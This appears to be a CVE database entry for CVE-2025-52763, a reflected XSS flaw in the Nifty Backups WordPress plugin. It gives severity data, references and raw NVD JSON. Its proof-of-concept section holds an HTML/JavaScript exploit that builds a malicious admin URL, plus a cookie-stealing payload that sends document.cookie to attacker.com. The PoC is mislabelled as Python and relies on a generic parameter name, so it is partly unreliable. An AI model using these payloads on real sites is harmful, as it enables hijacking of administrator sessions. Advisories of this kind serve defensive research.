CVE-2025-52763

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NickDuncan Nifty Backups nifty-backups allows Reflected XSS.This issue affects Nifty Backups: from n/a through <= 1.08.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Nifty Backups WordPress插件 <= 1.08

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-52763 PoC - Reflected XSS in Nifty Backups WordPress Plugin -->
<!-- Target: Nifty Backups WordPress Plugin <= 1.08 -->
<!-- Attack Type: Reflected Cross-Site Scripting (XSS) -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-52763 PoC</title>
</head>
<body>
    <h1>CVE-2025-52763 PoC - Nifty Backups Reflected XSS</h1>
    <p>Target: WordPress site with Nifty Backups plugin <= 1.08</p>
    
    <script>
        // Malicious URL with XSS payload
        // The payload will execute JavaScript in the victim's browser
        const targetUrl = window.location.origin + '/wp-admin/admin.php?page=nifty-backups&param=<script>alert(String.fromCharCode(88,83,83,32,69,120,112,108,111,105,116,101,100))</script>';
        
        // More advanced payload for cookie stealing
        const cookieStealPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>';
        
        // Display the malicious URL
        document.write('<p>Malicious URL:</p>');
        document.write('<input type="text" value="' + targetUrl + '" style="width: 80%;">');
        document.write('<p>Cookie stealing payload:</p>');
        document.write('<input type="text" value="' + cookieStealPayload + '" style="width: 80%;">');
        
        // Function to generate malicious URL with custom payload
        function generateMaliciousUrl(payload) {
            const baseUrl = '/wp-admin/admin.php?page=nifty-backups';
            return baseUrl + encodeURIComponent('&param=' + payload);
        }
        
        console.log('CVE-2025-52763: Nifty Backups <= 1.08 Reflected XSS');
        console.log('Target URL pattern: /wp-admin/admin.php?page=nifty-backups');
        console.log('Inject XSS payload through vulnerable parameter');
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52763
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52763
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52763/
[4] VulDB https://vuldb.com/cve/CVE-2025-52763
[5] https://patchstack.com/database/Wordpress/Plugin/nifty-backups/vulnerability/wordpress-nifty-backups-plugin-1-08-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-52763", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:46.063", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NickDuncan Nifty Backups nifty-backups allows Reflected XSS.This issue affects Nifty Backups: from n/a through <= 1.08."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/nifty-backups/vulnerability/wordpress-nifty-backups-plugin-1-08-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}